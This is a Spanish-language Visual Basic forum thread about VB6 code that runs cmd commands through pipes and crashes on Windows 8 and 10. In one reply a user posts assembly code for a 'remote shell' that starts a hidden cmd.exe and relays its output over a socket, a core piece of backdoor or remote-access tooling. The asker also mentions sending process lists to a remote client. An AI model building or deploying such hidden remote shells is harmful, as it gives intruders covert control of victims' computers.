Autor
|
Tema: Consola por pipe crashea en windows 8 y versiones adelantadas (Leído 4,137 veces)
|
illuminat3d
|
Hola a ver si alguien me hecha una mano tengo este codigo para ejecutar y leer la salida de los comandos en windows, se ejecutan y se ven perfectamente en versiones de XP hasta windows 7 he probado.. ahora en windows 8 y 10 crashea en un loop : Do ret = ReadFile(hReadPipe, strBuff, 256, lngBytesRead, 0&) mOutputs = mOutputs & Left(strBuff, lngBytesRead) Loop While ret <> 0
Public Declare Function CreatePipe Lib "kernel32" (phReadPipe As Long, phWritePipe As Long, lpPipeAttributes As Any, ByVal nSize As Long) As Long Public Declare Function CreateProcessA Lib "kernel32" (ByVal lpApplicationName As Long, ByVal lpCommandLine As String, lpProcessAttributes As SECURITY_ATTRIBUTES, lpThreadAttributes As SECURITY_ATTRIBUTES, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long Public Declare Function CloseHandle Lib "kernel32" (ByVal hHandle As Long) As Long Public Declare Function ReadFile Lib "kernel32" (ByVal hFile As Long, ByVal lpBuffer As String, ByVal nNumberOfBytesToRead As Long, lpNumberOfBytesRead As Long, ByVal lpOverlapped As Any) As Long Public Type PROCESS_INFORMATION hProcess As Long hThread As Long dwProcessId As Long dwThreadId As Long End Type Public Type STARTUPINFO cb As Long lpReserved As Long lpDesktop As Long lpTitle As Long dwX As Long dwY As Long dwXSize As Long dwYSize As Long dwXCountChars As Long dwYCountChars As Long dwFillAttribute As Long dwFlags As Long wShowWindow As Integer cbReserved2 As Integer lpReserved2 As Long hStdInput As Long hStdOutput As Long hStdError As Long End Type Public Type SECURITY_ATTRIBUTES nLength As Long lpSecurityDescriptor As Long bInheritHandle As Long End Type Public Function CMD(ByVal Comando As String) As String On Error Resume Next Dim proc As PROCESS_INFORMATION Dim ret As Long Dim start As STARTUPINFO Dim sa As SECURITY_ATTRIBUTES Dim hReadPipe As Long Dim hWritePipe As Long Dim lngBytesRead As Long Dim strBuff As String * 256 sa.nLength = Len(sa) sa.bInheritHandle = 1& sa.lpSecurityDescriptor = 0& ret = CreatePipe(hReadPipe, hWritePipe, sa, 0) If ret = 0 Then CMD = "Fallo de Conexion con Proceso. Error: " & Err.LastDllError: Exit Function start.cb = Len(start) start.dwFlags = STARTF_USESTDHANDLES Or STARTF_USESHOWWINDOW start.hStdOutput = hWritePipe start.hStdError = hWritePipe mCommand = Environ("COMSPEC") + " /c " + Comando ret& = CreateProcessA(0&, mCommand, sa, sa, 1&, NORMAL_PRIORITY_CLASS, 0&, 0&, start, proc) If ret <> 1 Then CMD = "Archivo o comando no encontrado": Exit Function ret = CloseHandle(hWritePipe) mOutputs = "" ' CRASHEA En versiones mayores a Windows 7 If InStr(1, SO, "Windows 8") Or InStr(1, SO, "Windows 10") Then Exit Function Do ret = ReadFile(hReadPipe, strBuff, 256, lngBytesRead, 0&) mOutputs = mOutputs & Left(strBuff, lngBytesRead) Loop While ret <> 0 ret = CloseHandle(proc.hProcess) ret = CloseHandle(proc.hThread) ret = CloseHandle(hReadPipe) CMD = mOutputs Exit Function End Function
A ver si alguien lo puede probar quizas puede ser por otra cosa! un saludo!
|
|
|
En línea
|
|
|
|
fary
|
En realidad es una forma un poco chapucera de usar pipes ¿Tu programa sería capaz de ejecutar la instrucción "CD.." y mantenerse en esa ruta en ejecutar la siguiente instrucción? Usa los pipes de manera eficiente amigo un saludo.
|
|
|
En línea
|
Un byte a la izquierda.
|
|
|
Lekim
Desconectado
Mensajes: 268
|
En realidad es una forma un poco chapucera de usar pipes ¿Tu programa sería capaz de ejecutar la instrucción "CD.." y mantenerse en esa ruta en ejecutar la siguiente instrucción? Usa los pipes de manera eficiente amigo un saludo. ¿Por qué no nos ilustras un poco con tu sabiduría? En lugar de criticar
|
|
« Última modificación: 5 Abril 2016, 19:32 pm por Lekim »
|
En línea
|
|
|
|
fary
|
¿Por qué no nos ilustras un poco con tu sabiduría? En lugar de criticar Por supuesto que te ilustro Aquí tienes mi código en ASM de una verdadera Shell Remota que usa pipes de manera eficiente. ;/////////////////////////////////////////////////////////////////////////////////////////////// ;////// FUNCIONES SHELL REMOTA ///////// ;////////////////////////////////////////////////////////////////////////////////////////////// proc IniciarShell ; Funcion que inicializa la shell remota mov [saPipe.nLength], 12 mov [saPipe.lpSecurityDescriptor], NULL mov [saPipe.bInheritHandle], TRUE invoke CreatePipe, stdinRd, stdinWr, saPipe, 0 invoke CreatePipe, stdoutRd, stdoutWr, saPipe, 0 invoke GetStartupInfoA, sInfo mov eax, STARTF_USESTDHANDLES mov ebx, STARTF_USESHOWWINDOW or eax, ebx mov [sInfo.dwFlags], eax mov [sInfo.wShowWindow], SW_HIDE mov eax, [stdoutWr] mov [sInfo.hStdOutput] , eax mov eax, [stdoutWr] mov [sInfo.hStdError] , eax mov eax, [stdinRd] mov [sInfo.hStdInput] , eax invoke GlobalAlloc, LPTR, 30 mov [RutaCmd], eax invoke GetSystemDirectoryA, [RutaCmd], 29 invoke lstrcat, [RutaCmd], '\cmd.exe' invoke CreateProcessA, NULL, [RutaCmd], NULL, NULL, TRUE, 0, NULL, NULL, sInfo, pInfo invoke GlobalFree, [RutaCmd] invoke Sleep, 150 stdcall LeerShell ; Llamamos a LEER PIPE para enviar la primera lectura ret endp proc EscShell,Comando,Longitud mov [bEscritos],NULL invoke WriteFile, [stdinWr],[Comando], [Longitud], bEscritos, NULL mov [bEscritos],NULL invoke WriteFile, [stdinWr],varSaltoLinea, 2, bEscritos, NULL invoke Sleep, 100 stdcall LeerShell ret varSaltoLinea db 13,10 ; salto de linea para el PIPE endp proc TerminarShell ; Funcion que cierra la shell remota invoke TerminateProcess, [pInfo.hProcess], 0 invoke CloseHandle, [stdinRd] invoke CloseHandle, [stdinWr] invoke CloseHandle, [stdoutRd] invoke CloseHandle, [stdoutWr] invoke Sleep, 100 ret endp proc LeerShell ; Funcion que lee la shell remota mov [totalLeido], 0 mov [totalLeer], 0 invoke PeekNamedPipe, [stdoutRd], NULL, NULL, NULL, totalLeer, NULL .if [totalLeer] = 0 ; No hay que leer. ret .endif LP_leer: invoke GlobalAlloc, LPTR, 1050 mov [bufLeido], eax invoke GlobalAlloc, LPTR, 1050 mov [envLeido], eax invoke ReadFile, [stdoutRd], [bufLeido], 1024, bUsadosOK, NULL invoke lstrcat, [envLeido], 'SHEL%%%%' invoke lstrcat, [envLeido], [bufLeido] invoke send, [hsock], [envLeido], 1024, 0 mov edx, [bUsadosOK] add [totalLeido], edx invoke GlobalFree, [bufLeido] invoke GlobalFree, [envLeido] invoke Sleep, 100 cmp [bUsadosOK], 1024 je LP_leer mov edx, [totalLeer] cmp [totalLeido], edx jl LP_leer ret endp ;////////////////////////////////////////////////////////////////////////////////////////////// ;//////////////////////////////////////////////////////////////////////////////////////////////
Además de que el código que el aporta, no es suyo... no sé en donde lo vi posteado. saludos.
|
|
« Última modificación: 6 Abril 2016, 09:48 am por fary »
|
En línea
|
Un byte a la izquierda.
|
|
|
Lekim
Desconectado
Mensajes: 268
|
Por supuesto que te ilustro Aquí tienes mi código en ASM de una verdadera Shell Remota que usa pipes de manera eficiente. ... ¿Y en VB?, porque te recuerdo que esto es el foro para Visual Basic y aquí el amigo programa en VB. XD
|
|
|
En línea
|
|
|
|
illuminat3d
|
Muchas gracias a los dos, mis conocimientos en VB no son tan avanzados Fary pero si me gustaria que publicaran algun arreglo en VB sobre el codigo, gracias Lekim por apoyarme jajaja! PD : Tambien tengo un problema con el envio de datos por winsock y es que en local me llegan todos los datos correctamente a veces al segundo intento pero despues cuando intento de manera remota me faltan datos y no se todavia a que debe ser, ya depure el codigo y si por ejemplo hay 60 procesos, solo llegan 32 auqnue en el servidor liste los 60 pero el envio de datos pierde datos al enviarselos al cliente a que puede deberse? y eso que envio los datos partidos con un tamaño de 8192 a veces ni supera esa cantidad y es lo mismo pierde los datos. Saludos compañeros!
|
|
|
En línea
|
|
|
|
fary
|
¿Y en VB?, porque te recuerdo que esto es el foro para Visual Basic y aquí el amigo programa en VB. XD
Jajajaja, en VB6 o en cualquier otro lenguaje se usan las mismas funciones... Pero vamos que si insistes y tienes mucho interés lo programo. Saludos.
|
|
|
En línea
|
Un byte a la izquierda.
|
|
|
Lekim
Desconectado
Mensajes: 268
|
Jajajaja, en VB6 o en cualquier otro lenguaje se usan las mismas funciones... Pero vamos que si insistes y tienes mucho interés lo programo.
Saludos.
El problema no es que tenga las mismas funciones o no. El problema está en saber interpretar el código ASM y saber lo suficiente en VB para pasar de uno a otro. Y además concretamente lo que pide illuminat3d. Pienso yo vamos XD. No es pos fastidiar.
|
|
|
En línea
|
|
|
|
fary
|
El problema no es que tenga las mismas funciones o no. El problema está en saber interpretar el código ASM y saber lo suficiente en VB para pasar de uno a otro. Y además concretamente lo que pide illuminat3d. Pienso yo vamos XD. No es pos fastidiar.
El código se puede pasar perfectamente a VB6 sin tener ni idea de ASM... son solo API de windows lo que se ve en el código, de ensamblador se podría decir que no hay casi nada de intrucciones. Parate a mirarlo 1 minuto y lo vas a comprobar por ti mismo. saludos.
|
|
|
En línea
|
Un byte a la izquierda.
|
|
|
Lekim
Desconectado
Mensajes: 268
|
Pues yo no entiendo no papa XD
|
|
|
En línea
|
|
|
|
|
Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
[SOLUCIONADO] CMD Pipe en Windows 7
Programación Visual Basic
|
aaronduran2
|
1
|
2,336
|
4 Octubre 2010, 16:26 pm
por aaronduran2
|
|
|
Mi pc va muy lento, POR FAVOR AYUDA y gracias adelantadas
Seguridad
|
lord-xavi
|
7
|
5,976
|
10 Diciembre 2010, 22:44 pm
por lord-xavi
|
|
|
Microsoft reduce a tres las versiones de Windows 8: Windows 8, Pro y RT
Noticias
|
wolfbcn
|
1
|
2,117
|
17 Abril 2012, 14:34 pm
por WHK
|
|
|
Mini-lib para hacer graficos en consola (versiones en C y C++)
« 1 2 »
Programación C/C++
|
HardForo
|
10
|
8,246
|
23 Abril 2016, 21:02 pm
por HardForo
|
|
|
Windows 10 crashea o hace amagos
Windows
|
AlbertoPerez
|
7
|
4,735
|
28 Marzo 2017, 12:26 pm
por Randomize
|
|